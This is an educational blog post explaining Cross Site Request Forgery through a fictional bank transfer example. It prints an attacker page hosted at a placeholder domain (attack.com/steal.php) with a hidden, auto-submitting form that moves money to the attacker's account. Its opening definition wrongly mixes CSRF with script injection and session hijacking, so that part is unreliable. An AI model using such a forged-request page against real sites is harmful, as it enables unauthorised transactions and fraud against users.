Friday, 15 April 2016

How Cross Site Request Forgery (CSRF) Works



INTRODUCTION
Cross Site Request Forgery (CSRF) is one of the top 10 web application security vulnerabilities recently published by the Open WebApplication Security Project (OWASP). This vulnerabilities have been plaguing web based software for decades. In this post I will explain what CSRF is and how an attacker can use it for malicious purpose.

What Is CSRF?
Cross Site Request Forgery is a web application security issue that involves using the authentication credentials assigned to an innocent user of a website to legitimate an attacker by forcing the browser of the victim to send HTTP requests including its information and cookie session to the vulnerable web application. Basically the attacker tricks a victim into clicking a cleverly crafted URL (Uniform Resource Locator) polluted with javascript code that is capable of revealing confidential data and hijacking login session. This is why it is sometimes called session riding. Once an attacker is logged in using another user’s credentials, he can then impersonate the user and carry out malicious activities using the victim’s privileges. The consequence of this can be very gross. Imagine what will happen if access to an online payment session gained.

How CSRF Works
In this section, I will demonstrate CSRF using a practical example. I hope my readers have basic knowledge of HTML and JavaScript. Let us illustrate with a fictional bank that allows its customers transfer money from one account to another. The transfer can be done using the form below:
<form action="fictionalbank.com/transfer.php" method="post">
Sender account:
<select name="sender_account">
<option value="1">3454.56.78901</option>
<option value="2">4345.57.88812</option>
</select>
Recipient account:
<input type="text" name="recipient_account"/>
Amount:
<input type="text" name="amount"/>
</form>
When the submit button is clicked, the form is processed using transfer.php script and the specified amount of money is sent to the recipient account. This process can be bypassed by making the user send money to an attacker’s account without him or her knowing, just by clicking a specially crafted URL. Still continuing with our fictional back example, an attacker can write an HTML/JavaScript shown below and store it in his/her site (say https://attack.com).
<form name="theform"
action="https://fictionalbank.com/transfer.php" method="post">
<input type="hidden" name="sender_account" value="1"/>
<input type="hidden" name="recipient_account"
value="3456.78.90123"/>
<input type="hidden" name="amount" value="10"/>
</form>
<script>document.theform.submit();</script>
This form is saved as steal.php and can be accessed by clicking the URL https://attack.com/steal.php. The input fields of this form are hidden and pre-filled by the attacker and once the page (steal.php) where this form reside is visited, a transaction is carried out. What the attacker does next is to make the user click https://attack.com/steal.php using social engineering techniques. Once clicked, steal.php submit (through the JavaScript code in the last line) the prefilled values to the fictional bank’s transfer script at https://fictionalbank.com/transfer.php as specified in action attribute of the form. All the victim sees next is a notification message of a successful bank transfer.

CONCLUSION
CSRF vulnerabilities in web applications can be very disastrous when exploited by skilled cyber criminals. The above illustration is one of the common ways through which CSRF flaws are leveraged. It is important that web application developers know how to mitigate this problem using effective countermeasures. In the next post, we are going delve deeper into CSRF and discuss mitigation methods. I hope this post has been educative. Thanks for viewing.

0 comments:

Post a Comment

Add a comment here

WhatsApp Dp